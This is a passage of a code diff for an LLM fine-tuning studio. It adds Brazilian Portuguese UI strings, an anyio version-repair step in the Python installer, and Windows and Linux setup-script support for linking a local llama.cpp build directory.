carregar datasets locais.", + noLocalDatasetsYet: "Nenhum dataset local ainda.", + noLocalDatasetsMatchSearch: "Nenhum dataset local corresponde à busca.", + openDataRecipes: "Abrir Receitas de Dados", + browsingSource: "Navegando em {browsing}. A seleção atual permanece {current}.", + localDatasets: "Datasets locais", + localDataset: "Dataset local", + localDatasetRows: " / {count} linhas", + huggingFaceDataset: "Dataset do Hugging Face", + localDatasetMetadata: "Metadados do dataset local", + dataRecipeOutput: "Saída da Receita de Dados.", + rows: "Linhas", + columns: "Colunas", + batches: "Lotes", + updated: "Atualizado", + evalDataset: "Dataset de validação (Eval)", + uploading: "Enviando...", + upload: "Upload", + uploadEvalFile: "Enviar arquivo de validação", + evalDatasetDescription: + "Opcional. Se não for fornecido, uma pequena parte será dividida a partir dos dados de treinamento.", + advanced: "Avançado", + targetFormat: "Formato de Destino", + targetFormatTooltip: + "Formato dos seus dados de treinamento. A detecção automática funciona para a maioria dos datasets.", + auto: "Auto", + rawText: "Texto Bruto", + trainSplitStart: "Início da Divisão de Treino", + trainSplitStartTooltip: + "Treine apenas em um subconjunto da sua divisão de treino especificando um índice de linha inicial (inclusivo, baseado em 0). Deixe em branco para começar da primeira linha.", + trainSplitEnd: "Fim da Divisão de Treino", + trainSplitEndTooltip: + "Último índice de linha a ser incluído da divisão de treino (inclusivo, baseado em 0). Por exemplo, defina o Início como 0 e o Fim como 99 para treinar nas primeiras 100 linhas. Deixe em branco para usar todas as linhas restantes.", + endPlaceholder: "Fim", + clear: "Limpar", + dropFileOrClick: "Solte 1 arquivo aqui ou clique para fazer upload", + viewDataset: "Visualizar dataset", + uploadFailed: "Falha no envio", + unknownError: "Erro desconhecido", + unsupportedFileType: "Tipo de arquivo não suportado", + uploadOneFileType: "Envie um arquivo do tipo {types}.", + datasetUploaded: "Dataset enviado", + evalDatasetUploaded: "Dataset de validação enviado", + uploadOneFileAtATime: "Envie um arquivo por vez", + uploadSingleFileDescription: + "O upload do dataset de treinamento aceita apenas um único arquivo.", + checkingToken: "Verificando token...", + getOrUpdateToken: "Obter ou atualizar token", + preview: "Pré-visualizar dataset", + split: "Divisão (Split)", + subset: "Subconjunto (Subset)", + s3: { + title: "Configuração do S3", + description: "Carregue datasets em .parquet, .json, .jsonl ou .csv do Amazon S3", + bucket: "Nome do Bucket", + bucketPlaceholder: "meu-bucket-de-dados-de-treino", + region: "Região da AWS", + regionPlaceholder: "us-east-1", + prefix: "Prefixo do Caminho", + prefixPlaceholder: "datasets/whisper/", + prefixTooltip: "Caminho opcional dentro do bucket para os arquivos do seu dataset", + accessKeyId: "ID da Chave de Acesso", + accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE", + secretAccessKey: "Chave de Acesso Secreta", + secretAccessKeyPlaceholder: "Sua chave de acesso secreta da AWS", + useIamRole: "Usar Função IAM", + useIamRoleTooltip: "Usa credenciais de função IAM em vez de chaves de acesso (recomendado para EC2/SageMaker)", + testConnection: "Testar Conexão", + connectionSuccess: "Conectado com sucesso ao bucket S3", + connectionFailed: "Falha ao conectar ao bucket S3", + comingSoon: "Integração com S3 em breve", + comingSoonDescription: "O carregamento de datasets do S3 requer o boto3. Este recurso está em desenvolvimento.", + }, + }, + params: { + title: "Parâmetros", + description: "Configure os hiperparâmetros de treinamento", + loraSettings: "Configurações do LoRA", + trainingHyperparameters: "Hiperparâmetros de Treinamento", + maxSteps: "Passos Máximos (Max Steps)", + epochs: "Épocas (Epochs)", + useMaxSteps: "Usar Passos Máximos", + useEpochs: "Usar Épocas", + maxStepsTooltip: "Sobrescreve o total de passos do otimizador.", + epochsTooltip: "Número de passagens completas pelo dataset.", + epochsDescription: "Cada época é uma passagem completa pelo seu dataset.", + maxStepsDescription: + "Limita o treinamento a um número fixo de passos do otimizador.", + contextLength: "Comprimento do Contexto", + contextLengthTooltip: "Número máximo de tokens por amostra de treinamento.", + customContextLength: "Insira um valor personalizado", + contextLengthDescription: "Comprimento máximo de sequência para amostras de treino", + learningRate: "Taxa de Aprendizado (Learning Rate)", + learningRateTooltip: + "Tamanho do passo para atualizações de peso. Valores menores treinam mais lentamente, mas com mais estabilidade.", + learningRateDescription: + "Recomendado: 2e-4 para LoRA, 5e-5 para CPT, 2e-5 para fine-tune completo", + embeddingLearningRate: "Taxa de Aprendizado do Embedding", + embeddingLearningRateTooltip: + "Usado apenas quando o CPT está treinando embed_tokens. Os embeddings são mais fáceis de desestabilizar do que os pesos LoRA, por isso geralmente precisam de um LR menor. Deixe em branco para usar lr/10; a faixa típica de funcionamento é de 2x a 10x menor que o LR principal. Aumente apenas se a adaptação de vocabulário ou de tokens de domínio estiver muito lenta.", + embeddingLearningRateDescription: + "Deixe em branco para usar lr/10 (recomendado). A faixa típica é de 2x a 10x menor que a taxa de aprendizado principal.", + rank: "Rank", + rankTooltip: + "Dimensão das matrizes de baixo rank. Maior = mais capacidade.", + alpha: "Alpha", + alphaTooltip: "Fator de escala para atualizações LoRA. Geralmente o dobro do rank.", + dropout: "Dropout", + dropoutTooltip: + "Probabilidade de dropout para as camadas LoRA para reduzir o overfitting.", + visionLayers: "Camadas de visão", + languageLayers: "Camadas de linguagem", + attentionModules: "Módulos de atenção", + mlpModules: "Módulos MLP", + targetModules: "Módulos de Destino", + enableLora: "Ativar LoRA", + trainWithLora: "Treinar com LoRA", + stableRank: "Stable Rank", + memoryEfficient: "Eficiente em Memória", + optimization: "Otimização", + schedule: "Cronograma", + memory: "Memória", + optimizer: "Otimizador", + optimizerTooltip: + "Algoritmo de otimização. Variantes de 8 bits reduzem o uso de memória. Fused é recomendado para modelos de visão.", + lrScheduler: "Agendador de LR", + lrSchedulerTooltip: + "Como a taxa de aprendizado muda ao longo do treino. Linear decai de forma constante; cosine decai em curva.", + optimizerOptions: { + adamw8bit: "AdamW 8-bit", + pagedAdamw8bit: "Paged AdamW 8-bit", + adamwBnb8bit: "AdamW BNB 8-bit", + pagedAdamw32bit: "Paged AdamW 32-bit", + adamwTorch: "AdamW (PyTorch)", + adamwTorchFused: "AdamW (PyTorch Fused)", + }, + lrSchedulerOptions: { + linear: "Linear", + cosine: "Cosine", + }, + batchSize: "Tamanho do Lote (Batch Size)", + batchSizeTooltip: "Amostras processadas por passo. Maior consome mais VRAM.", + gradAccum: "Acúmulo de Gradiente", + gradAccumTooltip: "Simula tamanhos de lote maiores sem gastar VRAM extra.", + weightDecay: "Decaimento de Peso", + weightDecayTooltip: "Regularização L2 para evitar overfitting.", + warmupSteps: "Passos de Aquecimento (Warmup)", + warmupStepsTooltip: + "Aumenta gradualmente a LR no início do treino para garantir estabilidade.", + scheduleEpochsTooltip: + "Número de passagens completas pelo dataset. Defina 0 para rodar por passos máximos.", + saveSteps: "Passos para Salvar", + saveStepsTooltip: "Salva um checkpoint a cada N passos. 0 para desativar.", + evalSteps: "Passos de Validação", + evalStepsTooltip: + "Fração dos passos totais de treino entre as validações (0-1). Defina como 0 para desativar. Ex: 0.01 = valida a cada 1% dos passos.", + seed: "Seed", + seedTooltip: "Semente aleatória para reprodutibilidade.", + gradCheckpoint: "Grad Checkpoint", + gradCheckpointTooltip: + "Troca processamento por memória recalculando as ativações.", + none: "Nenhum", + standard: "Padrão", + enablePacking: "Ativar empacotamento (packing)", + assistantCompletionsOnly: "Apenas respostas do assistente", + readMore: "Leia mais", + }, + training: { + title: "Treinamento", + description: "Monitore e controle o treinamento", + chartNoDataTitle: "Nenhum dado de treinamento ainda", + chartNoDataDescription: "Inicie o treinamento para ver o progresso da loss", + startTraining: "Iniciar Treinamento", + starting: "Iniciando...", + loadingModel: "Carregando modelo...", + checkingDataset: "Verificando dataset...", + configLabel: "Configuração de Treino", + upload: "Upload", + uploadConfigTooltip: "Carregar uma configuração YAML salva", + save: "Salvar", + saveConfigTooltip: "Baixar configuração atual como YAML", + reset: "Redefinir", + resetConfigTooltip: "Redefinir para os padrões do modelo", + configLoaded: "Configuração carregada", + failedToLoadConfig: "Falha ao carregar a configuração", + invalidYamlFile: "Arquivo YAML inválido", + failedToReadFile: "Falha ao ler o arquivo", + parametersReset: "Parâmetros redefinidos para os padrões do modelo", + audioIncompatible: + "Este modelo não suporta áudio. Mude para um modelo compatível com áudio ou escolha um dataset sem áudio.", + visionIncompatible: + "O modelo de texto não é compatível com um dataset multimodal. Mude para um modelo de visão ou escolha um dataset apenas de texto.", + cancelTitle: "Cancelar Treinamento", + cancelDescription: "Deseja cancelar a execução de treinamento atual?", + continueAction: "Continuar Treinamento", + cancelAction: "Cancelar Treinamento", + stopTitle: "Interromper Treinamento", + stopDescription: "Escolha como você deseja interromper a execução de treinamento atual.", + stopAction: "Interromper", + stopping: "Interrompendo...", + stopAndSave: "Interromper e Salvar", + compareInChat: "Comparar no Chat", + exportModel: "Exportar Modelo", + milestone: "Marco", + halfwayDone: "Metade concluída. O treinamento passou de 50%.", + doneNextStep: + "Treinamento concluído. Próximo passo: comparar as saídas do modelo base vs fine-tuned.", + }, + history: { + title: "Histórico", + emptyTitle: "Nenhuma execução de treino ainda", + emptyDescription: + "Nenhuma execução de treino ainda. Inicie sua primeira execução na aba Configurar.", + loadError: "Falha ao carregar as execuções de treino", + deleteError: "Falha ao excluir a execução de treino. Por favor, tente novamente.", + retry: "Tentar novamente", + loadMore: "Carregar mais", + loading: "Carregando...", + loadingRun: "Carregando execução de treino...", + runNotFound: "Execução não encontrada", + deleteTitle: "Excluir execução de treino?", + deleteDescription: + "Isso excluirá permanentemente esta execução de treino e todas as suas métricas. Esta ação não pode ser desfeita.", + runCount: "{count} execuções", + oneRun: "1 execução", + resume: "Retomar", + resumeTraining: "Retomar treinamento", + resuming: "Retomando...", + deleteRun: "Excluir execução", + loss: "Loss", + steps: "Passos", + lossTrendSparkline: "Minigráfico de tendência da loss", + relativeJustNow: "agora mesmo", + relativeMinutesAgo: "há {count}m", + relativeHoursAgo: "há {count}h", + relativeDaysAgo: "há {count}d", + status: { + completed: "Concluído", + stopped: "Interrompido", + error: "Erro", + running: "Em andamento", + continued: "Continuado", + }, + message: { + completed: "Treinamento concluído", + stopped: "Treinamento interrompido", + running: "Treinamento em andamento", + errored: "Treinamento com erro", + }, + }, + charts: { + settings: "Configurações do Gráfico", + settingsDescription: + "Ajuste a apresentação do gráfico enquanto o treinamento continua rodando.", + openSettings: "Abrir configurações do gráfico", + viewWindow: "Janela de visualização", + viewWindowDescription: "Mostra apenas os passos mais recentes ou o histórico completo.", + window: "Janela", + all: "Tudo", + trainingLoss: "Loss de Treinamento", + trainingLossDescription: "Controle as sobreposições e a suavização EMA.", + smoothing: "Suavização", + smoothingDescription: "Mova para a direita para mais suavização. `0` = bruto.", + showRawLoss: "Mostrar loss bruta", + showSmoothedLoss: "Mostrar loss suavizada", + showAverageLine: "Mostrar linha média", + scaleAndCleanup: "Escala e limpeza", + linear: "Linear", + log: "Log", + noClip: "Sem corte", + clipP99: "Cortar p99", + clipP95: "Cortar p95", + lossAxis: "Eixo da loss", + gradientNormAxis: "Eixo da norma do gradiente", + learningRateAxis: "Eixo da taxa de aprendizado", + resetDefaults: "Redefinir padrões", + loss: "Loss", + smoothed: "Suavizado", + evalLoss: "Loss de Validação", + learningRate: "Taxa de Aprendizado", + lr: "LR", + gradNorm: "Norma do Grad.", + gradientNorm: "Norma do Gradiente", + step: "Passo {step}", + averageValue: "média {value}", + waitingForFirstEvaluationStep: "Aguardando o primeiro passo de validação...", + evaluationNotConfigured: "Validação não configurada", + evalChartWillAppear: "O gráfico aparecerá assim que o eval_steps for alcançado", + setEvalDatasetAndSteps: + "Defina o dataset de validação e eval_steps para acompanhar a loss de validação", + }, + progress: { + title: "Progresso do Treinamento", + liveMetrics: "Métricas de treino em tempo real", + exportGguf: "Exportar para GGUF", + openConfig: "Abrir configuração de treino", + configLabel: "Configuração de Treino", + hyperparams: "Hiperparâmetros", + epochs: "Épocas", + batchSize: "Tamanho do lote", + learningRate: "Taxa de aprendizado", + optimizer: "Otimizador", + maxSteps: "Passos máximos", + contextLength: "Comprimento do contexto", + warmupSteps: "Passos de warmup", + rank: "Rank", + alpha: "Alpha", + dropout: "Dropout", + variant: "Variante", + epoch: "Época {value}", + percentComplete: "{percent}% completo", + stepProgress: "Passo {current} / {total}", + loss: "Loss", + lr: "LR", + gradNorm: "Norma do Grad.", + model: "Modelo", + method: "Método", + elapsed: "Decorrido: {value}", + eta: "ETA: {value}", + stepsPerSecond: "{value} passos/s", + noStepsPerSecond: "-- passos/s", + tokens: "Tokens: {value}", + gpuMonitor: "Monitor da GPU", + live: "Ao vivo", + utilization: "Utilização", + temperature: "Temperatura", + vram: "VRAM", + power: "Energia", + phase: { + idle: "Ocioso", + downloadingModel: "Baixando modelo", + downloadingDataset: "Baixando dataset", + loadingModel: "Carregando modelo", + loadingDataset: "Carregando dataset", + configuring: "Configurando", + training: "Treinando", + completed: "Concluído", + error: "Erro", + stopped: "Interrompido", + }, + }, + trainingStart: { + ready: "Pronto", + downloading: "Baixando", + preparing: "Preparando", + left: "restam {eta}", + downloaded: "{size} baixados", + terminalStart: "> treinamento do unsloth iniciado...", + preparingResources: "> Preparando modelo e dataset...", + gettingReady: "> Estamos deixando tudo pronto para a sua execução...", + waitingForFirstStep: "> {message} | aguardando o primeiro passo... ({step})", + resumingTraining: "Retomando treinamento...", + startingTraining: "iniciando treinamento...", + dataset: "Dataset", + datasetStreaming: "Dataset: streaming (sem download completo)", + modelWeights: "Pesos do modelo", + }, + tour: { + guidedTour: "Tour Guiado", + }, + }, +} as const; diff --git a/studio/frontend/src/i18n/messages.ts b/studio/frontend/src/i18n/messages.ts index ef58ca23fe..23db2ce326 100644 --- a/studio/frontend/src/i18n/messages.ts +++ b/studio/frontend/src/i18n/messages.ts @@ -4,19 +4,26 @@ import { getLocale } from "./locale-store"; import { en } from "./locales/en"; import { zhCN } from "./locales/zh-CN"; +import { ptBR } from "./locales/pt-br"; import { ja } from "./locales/ja"; import type { InterpolationValues, MessageKey } from "./types"; export const LOCALES = { en: { label: "English", nativeLabel: "English" }, "zh-CN": { label: "Chinese (Simplified)", nativeLabel: "简体中文" }, - ja: { label: "Japanese", nativeLabel: "日本語" }, + "pt-BR": { label: "Portuguese (Brazil)", nativeLabel: "Português (Brasil)" }, + "ja": { label: "Japanese", nativeLabel: "日本語" }, } as const; export type Locale = keyof typeof LOCALES; export type TranslationKey = MessageKey; -export const messages = { en, "zh-CN": zhCN, ja } as const; +export const messages = { + en, + "zh-CN": zhCN, + "pt-BR": ptBR, + ja +} as const; const PLACEHOLDER_PATTERN = /\{([a-zA-Z0-9_]+)\}/g; @@ -75,4 +82,4 @@ export function isSupportedLocale(value: unknown): value is Locale { typeof value === "string" && Object.prototype.hasOwnProperty.call(LOCALES, value) ); -} +} \ No newline at end of file diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py index d0f7d3016a..2d98988e50 100644 --- a/studio/install_python_stack.py +++ b/studio/install_python_stack.py @@ -181,6 +181,75 @@ def _probe_installed_torch_version() -> str | None: return lines[-1] if lines else None +def _installed_torch_is_windows_rocm() -> bool: + """Return True when the target venv currently has a Windows ROCm torch build. + + This is a belt-and-suspenders guard for the torchao override step: if the + earlier ROCm install path failed to set _rocm_windows_torch_installed but the + venv already contains a ROCm torch wheel, still skip torchao because it + crashes on import on Windows ROCm. + """ + if not IS_WINDOWS: + return False + try: + probe = subprocess.run( + [ + sys.executable, + "-c", + ( + "import sys, torch; " + "hip = getattr(getattr(torch, 'version', None), 'hip', None) or ''; " + "ver = getattr(torch, '__version__', '').lower(); " + "sys.stdout.write('yes' if (hip or 'rocm' in ver or 'rocmsdk' in ver) else '')" + ), + ], + stdout = subprocess.PIPE, + stderr = subprocess.DEVNULL, + text = True, + timeout = 90, + **_windows_hidden_subprocess_kwargs(), + ) + except (OSError, subprocess.TimeoutExpired): + return False + lines = [line.strip() for line in (probe.stdout or "").splitlines() if line.strip()] + return probe.returncode == 0 and bool(lines and lines[-1] == "yes") + + +# constraints.txt caps new anyio resolutions at <4.14 (#6483), but an install +# from before the cap existed can already be stuck at 4.14+, which later +# constrained installs won't touch since it already satisfies mcp/fastmcp. +_ANYIO_BAD_FLOOR = (4, 14) + + +def _installed_anyio_version() -> tuple[int, int] | None: + try: + from importlib.metadata import version as _pkg_version + raw = _pkg_version("anyio") + except Exception: + return None + parts = raw.split(".") + try: + major = int(parts[0]) + minor = int(re.sub(r"[^0-9].*", "", parts[1])) if len(parts) > 1 else 0 + except (IndexError, ValueError): + return None + return (major, minor) + + +def _repair_bad_anyio() -> None: + installed = _installed_anyio_version() + if installed is None or installed < _ANYIO_BAD_FLOOR: + return + _safe_print(_dim(f" anyio {installed[0]}.{installed[1]} found -- reinstalling anyio<4.14...")) + pip_install( + "Repairing anyio version", + "--no-cache-dir", + "--force-reinstall", + "anyio<4.14.0", + constrain = False, + ) + + # AMD Windows ROCm wheels (repo.amd.com/rocm/whl/{arch_family}/). # Override with UNSLOTH_ROCM_WINDOWS_MIRROR for air-gapped/mirror installs. _ROCM_WINDOWS_INDEX_BASE = ( @@ -1976,7 +2045,7 @@ def install_python_stack() -> int: package_name = os.environ.get("STUDIO_PACKAGE_NAME", "unsloth") # --local overlays a local repo checkout after updating deps. local_repo = os.environ.get("STUDIO_LOCAL_REPO", "") - base_total = 10 if IS_WINDOWS else 11 + base_total = 11 if IS_WINDOWS else 12 # +1 for the anyio repair check (step 8b) if IS_MACOS: base_total -= 1 # triton step is skipped on macOS if not IS_MACOS and not NO_TORCH: @@ -2227,7 +2296,7 @@ def install_python_stack() -> int: # (no working build; see below). if NO_TORCH: _progress("dependency overrides (skipped, no torch)") - elif _rocm_windows_torch_installed: + elif _rocm_windows_torch_installed or _installed_torch_is_windows_rocm(): # No working Windows ROCm torchao build: it imports an absent c10d backend # and crashes transformers.quantizers. Studio stubs it at runtime, so # installing it only ships a package that crashes on import -- skip it. @@ -2290,6 +2359,10 @@ def install_python_stack() -> int: req = REQ_ROOT / "studio.txt", ) + # 8b. anyio repair (#6483) + _progress("anyio check") + _repair_bad_anyio() + # 9. Data-designer dependencies _progress("data designer deps") pip_install( diff --git a/studio/setup.ps1 b/studio/setup.ps1 index 38398eb5f5..bb1e88cc4e 100644 --- a/studio/setup.ps1 +++ b/studio/setup.ps1 @@ -2645,6 +2645,28 @@ if ($env:SKIP_STUDIO_BASE -ne "1" -and $env:STUDIO_LOCAL_INSTALL -ne "1") { if ($InstalledVer -and $LatestVer -and ($InstalledVer -eq $LatestVer)) { step "python" "$_PkgName $InstalledVer is up to date" $SkipPythonDeps = $true + # A pre-#6483-fix install can be stuck on anyio>=4.14 even though + # $_PkgName itself is current; the fast path above would otherwise + # never reach install_python_stack's anyio repair (#6797). + $_anyioBad = $false + try { + & python -c " +import re, sys +from importlib.metadata import version, PackageNotFoundError +try: + parts = version('anyio').split('.') + major = int(parts[0]) + minor = int(re.sub(r'[^0-9].*', '', parts[1])) if len(parts) > 1 else 0 +except (PackageNotFoundError, ValueError, IndexError): + sys.exit(1) +sys.exit(0 if (major, minor) >= (4, 14) else 1) +" 2>$null + if ($LASTEXITCODE -eq 0) { $_anyioBad = $true } + } catch {} + if ($_anyioBad) { + substep "anyio >=4.14 found (#6483) -- forcing dependency pass to repair..." "Cyan" + $SkipPythonDeps = $false + } # ...but not if an AMD GPU is present and installed PyTorch is CPU-only # (host predates ROCm-wheel support, or GPU added later): the fast "up to # date" path would leave the user on CPU torch with Train/Export disabled. @@ -3158,7 +3180,86 @@ if ($LlamaPr) { $SkipPrebuiltInstall = $true } -if ($env:UNSLOTH_LLAMA_FORCE_COMPILE -eq "1") { +$LocalLlamaCppLinked = $false +$LocalLlamaCppSrc = $env:UNSLOTH_LOCAL_LLAMA_CPP_DIR +if ($LocalLlamaCppSrc) { + if (-not (Test-Path -LiteralPath $LocalLlamaCppSrc -PathType Container)) { + step "llama.cpp" "UNSLOTH_LOCAL_LLAMA_CPP_DIR does not exist: $LocalLlamaCppSrc" "Red" + exit 1 + } + $ResolvedLocal = (Resolve-Path -LiteralPath $LocalLlamaCppSrc).Path + # Reusing a local dir disables both the prebuilt download and the source + # build, so a runnable llama-server.exe must already be present. Accept any + # layout LlamaCppBackend._layout_candidates() resolves (root-level, build\bin, + # or build\bin\Release) so the flag never rejects a tree Studio could run. + $LocalLlamaServerFound = $false + foreach ($_cand in @( + (Join-Path $ResolvedLocal "llama-server.exe"), + (Join-Path $ResolvedLocal "build\bin\llama-server.exe"), + (Join-Path $ResolvedLocal "build\bin\Release\llama-server.exe"))) { + if (Test-Path -LiteralPath $_cand) { $LocalLlamaServerFound = $true; break } + } + if ($ResolvedLocal -eq $LlamaCppDir) { + # Points at the canonical install location itself: never delete-then-link + # onto itself. Reuse an existing build here (skip prebuilt + source) so the + # staged prebuilt installer can't replace a build the user asked to reuse; + # if nothing is built yet, fall through to the normal install. + if ($LocalLlamaServerFound) { + substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR is the canonical install location and already holds a build; reusing it" "Yellow" + $LocalLlamaCppLinked = $true + $NeedLlamaSourceBuild = $false + } else { + substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR points to the canonical install location with nothing built there yet; running the normal install" "Yellow" + } + } else { + # Fail clearly rather than junction an unbuilt or wrong-platform checkout + # and leave Studio with no usable binary. + if (-not $LocalLlamaServerFound) { + step "llama.cpp" "no llama-server.exe under $ResolvedLocal (looked for .\llama-server.exe, .\build\bin and .\build\bin\Release) -- build llama.cpp there first, or drop --with-llama-cpp-dir" "Red" + exit 1 + } + # If the target is already a junction/symlink (e.g. a previous + # --with-llama-cpp-dir run), delete only the link via DirectoryInfo.Delete(). + # Remove-Item -Recurse -Force on a reparse point can traverse the link and + # wipe the user's real llama.cpp directory on PowerShell 5.1. Dropping the + # stale link here also keeps the custom-home ownership check below idempotent. + # Use Get-Item -Force (not Test-Path): a *broken* junction whose target was + # moved/deleted makes Test-Path return false, which would leave the dangling + # link in place and make mklink below fail; Get-Item still resolves it so we + # can remove it and relink to a new valid directory. + $existing = Get-Item -LiteralPath $LlamaCppDir -Force -ErrorAction SilentlyContinue + if ($existing -and ($existing.Attributes -band [System.IO.FileAttributes]::ReparsePoint)) { + $existing.Delete() + } + if ($StudioHomeIsCustom) { + Assert-StudioOwnedOrAbsent -Path $LlamaCppDir -Label "llama.cpp install" + } + if (Test-Path -LiteralPath $LlamaCppDir) { + Remove-Item -Recurse -Force -LiteralPath $LlamaCppDir -ErrorAction SilentlyContinue + # A locked/in-use tree can silently survive removal (SilentlyContinue + # masks it). Don't then junction/copy over a half-present dir; mirror the + # prebuilt path's active-process handling and stop with a clear message. + if (Test-Path -LiteralPath $LlamaCppDir) { + step "llama.cpp" "install blocked by active llama.cpp process" "Yellow" + substep "Close Studio or other llama.cpp users and retry" "Yellow" + exit 3 + } + } + cmd /c "mklink /J `"$LlamaCppDir`" `"$ResolvedLocal`"" 2>&1 | Out-Null + if ($LASTEXITCODE -ne 0) { + substep "Could not create directory junction; copying instead..." "Yellow" + Copy-Item -Recurse -LiteralPath $ResolvedLocal -Destination $LlamaCppDir + } + Write-Host "" + step "llama.cpp" "linked local directory: $ResolvedLocal" + $LocalLlamaCppLinked = $true + $NeedLlamaSourceBuild = $false + } +} + +if ($LocalLlamaCppLinked) { + # local directory linked above; skip prebuilt install +} elseif ($env:UNSLOTH_LLAMA_FORCE_COMPILE -eq "1") { Write-Host "" substep "UNSLOTH_LLAMA_FORCE_COMPILE=1 -- skipping prebuilt llama.cpp install" "Yellow" $NeedLlamaSourceBuild = $true @@ -3368,7 +3469,8 @@ if (Test-Path -LiteralPath $LlamaServerBin) { # Install build tools now (last resort) rather than eagerly in Phase 1, so the # prebuilt path stays fast. Same condition as the if/elseif chain below: a source -# build runs only when needed and no usable binary is already present. +# build runs only when needed and no usable binary is already present. A linked +# local dir sets $NeedLlamaSourceBuild = $false, so this no-ops for that path. $WillBuildLlamaFromSource = $NeedLlamaSourceBuild -and ` -not ((Test-Path -LiteralPath $LlamaServerBin) -and -not $NeedRebuild -and $RequestedLlamaTag -ne "master") if ($WillBuildLlamaFromSource) { @@ -3377,7 +3479,13 @@ if ($WillBuildLlamaFromSource) { $HasCmakeForBuild = $null -ne (Get-Command cmake -ErrorAction SilentlyContinue) } -if (-not $NeedLlamaSourceBuild) { +if ($LocalLlamaCppLinked) { + # Local dir linked above -- honor the flag's contract: skip BOTH the prebuilt + # download and the source build. Falling through here would run CMake inside + # the user's checkout (via the junction) when it lacks build\bin\Release\llama-server.exe. + Write-Host "" + step "llama.cpp" "linked (skipping build)" +} elseif (-not $NeedLlamaSourceBuild) { Write-Host "" step "llama.cpp" "prebuilt (validated)" } elseif ((Test-Path -LiteralPath $LlamaServerBin) -and -not $NeedRebuild -and $RequestedLlamaTag -ne "master") { diff --git a/studio/setup.sh b/studio/setup.sh index 43ec9fe7b9..6a74cd2296 100755 --- a/studio/setup.sh +++ b/studio/setup.sh @@ -947,6 +947,23 @@ print(version(sys.argv[1])) if [ -n "$INSTALLED_VER" ] && [ -n "$LATEST_VER" ] && [ "$INSTALLED_VER" = "$LATEST_VER" ]; then step "python" "$_PKG_NAME $INSTALLED_VER is up to date" _SKIP_PYTHON_DEPS=true + # A pre-#6483-fix install can be stuck on anyio>=4.14 even though + # $_PKG_NAME itself is current; the fast path above would otherwise + # never reach install_python_stack's anyio repair (#6797). + if "$VENV_DIR/bin/python" -c " +import re, sys +from importlib.metadata import version, PackageNotFoundError +try: + parts = version('anyio').split('.') + major = int(parts[0]) + minor = int(re.sub(r'[^0-9].*', '', parts[1])) if len(parts) > 1 else 0 +except (PackageNotFoundError, ValueError, IndexError): + sys.exit(1) +sys.exit(0 if (major, minor) >= (4, 14) else 1) +" 2>/dev/null; then + substep "anyio >=4.14 found (#6483) -- forcing dependency pass to repair..." + _SKIP_PYTHON_DEPS=false + fi elif [ -n "$INSTALLED_VER" ] && [ -n "$LATEST_VER" ]; then substep "$_PKG_NAME $INSTALLED_VER -> $LATEST_VER available, updating..." elif [ -z "$LATEST_VER" ]; then @@ -1254,7 +1271,90 @@ fi verbose_substep "requested llama.cpp tag: $_REQUESTED_LLAMA_TAG (repo: $_HELPER_RELEASE_REPO)" -if [ "$_LLAMA_FORCE_COMPILE" = "1" ]; then +# GGUF export's check_llama_cpp() looks for a llama-quantize shim at the root of +# the install dir, but a source build keeps the binary under build/bin/. Mirror +# the source-build-reuse step and create the shim when the reused tree has one +# but no root shim yet. Best-effort: the tree may be read-only (shared/CI cache), +# and under `set -e` a failed ln would otherwise abort an good reuse. +_link_local_llama_quantize_shim() { + if [ -x "$1/build/bin/llama-quantize" ] && [ ! -e "$1/llama-quantize" ]; then + ln -sf build/bin/llama-quantize "$1/llama-quantize" 2>/dev/null || \ + substep "could not create llama-quantize shim in linked dir (read-only?); GGUF export may be unavailable" + fi +} + +# Accept any layout LlamaCppBackend._layout_candidates() resolves so the flag +# never rejects a tree Studio could actually run: a root-level llama-server (a +# `make` build or a flat-extracted release) or the CMake build/bin/llama-server. +_has_local_llama_server() { + [ -x "$1/llama-server" ] || [ -x "$1/build/bin/llama-server" ] +} + +_LOCAL_LLAMA_CPP_LINKED=false +if [ -n "${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}" ]; then + if [ ! -d "$UNSLOTH_LOCAL_LLAMA_CPP_DIR" ]; then + step "llama.cpp" "UNSLOTH_LOCAL_LLAMA_CPP_DIR does not exist: $UNSLOTH_LOCAL_LLAMA_CPP_DIR" "$C_ERR" + exit 1 + fi + _RESOLVED_LOCAL="$(CDPATH= cd -P -- "$UNSLOTH_LOCAL_LLAMA_CPP_DIR" && pwd -P)" + # Canonicalize the install path the same way before comparing: _RESOLVED_LOCAL + # is fully resolved, but LLAMA_CPP_DIR is textual ($UNSLOTH_HOME/llama.cpp). If + # $HOME (or UNSLOTH_HOME) contains a symlink, the two never match even when the + # user pointed the flag at the canonical install itself -- and the rm -rf below + # would then wipe the very tree they asked to reuse. Resolve via the parent so + # this works whether or not the leaf currently exists. + _CANON_LLAMA_CPP_DIR="$LLAMA_CPP_DIR" + _LLAMA_CPP_PARENT="$(dirname "$LLAMA_CPP_DIR")" + if [ -d "$_LLAMA_CPP_PARENT" ]; then + _CANON_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_LLAMA_CPP_PARENT" && pwd -P)/$(basename "$LLAMA_CPP_DIR")" + fi + if [ "$_RESOLVED_LOCAL" = "$_CANON_LLAMA_CPP_DIR" ]; then + # Points at the canonical install location itself: never delete-then-link + # it onto itself. If a usable build is already there, reuse it and skip + # both the prebuilt download and the source build -- the prebuilt installer + # uses os.replace() and would otherwise clobber an existing source build at + # this path. If nothing is built there yet, fall through to the normal + # install so it gets built in place exactly as it would without the flag. + if _has_local_llama_server "$LLAMA_CPP_DIR"; then + substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR is the canonical install location and already holds a build; reusing it" + _link_local_llama_quantize_shim "$LLAMA_CPP_DIR" + _LOCAL_LLAMA_CPP_LINKED=true + _NEED_LLAMA_SOURCE_BUILD=false + _SKIP_PREBUILT_INSTALL=true + else + substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR points to the canonical install location with nothing built there yet; running the normal install" + fi + else + # Reusing disables BOTH the prebuilt download and the source build, so the + # linked tree must already contain a runnable llama-server in one of the + # layouts the backend resolves (root-level or build/bin/). Fail clearly + # rather than link an unbuilt or wrong-platform checkout and leave Studio + # with no usable binary. + if ! _has_local_llama_server "$_RESOLVED_LOCAL"; then + step "llama.cpp" "no llama-server under $_RESOLVED_LOCAL (looked for ./llama-server and ./build/bin/llama-server) -- build llama.cpp there first, or drop --with-llama-cpp-dir" "$C_ERR" + exit 1 + fi + # A stale link from a previous --with-llama-cpp-dir run isn't Studio-owned + # 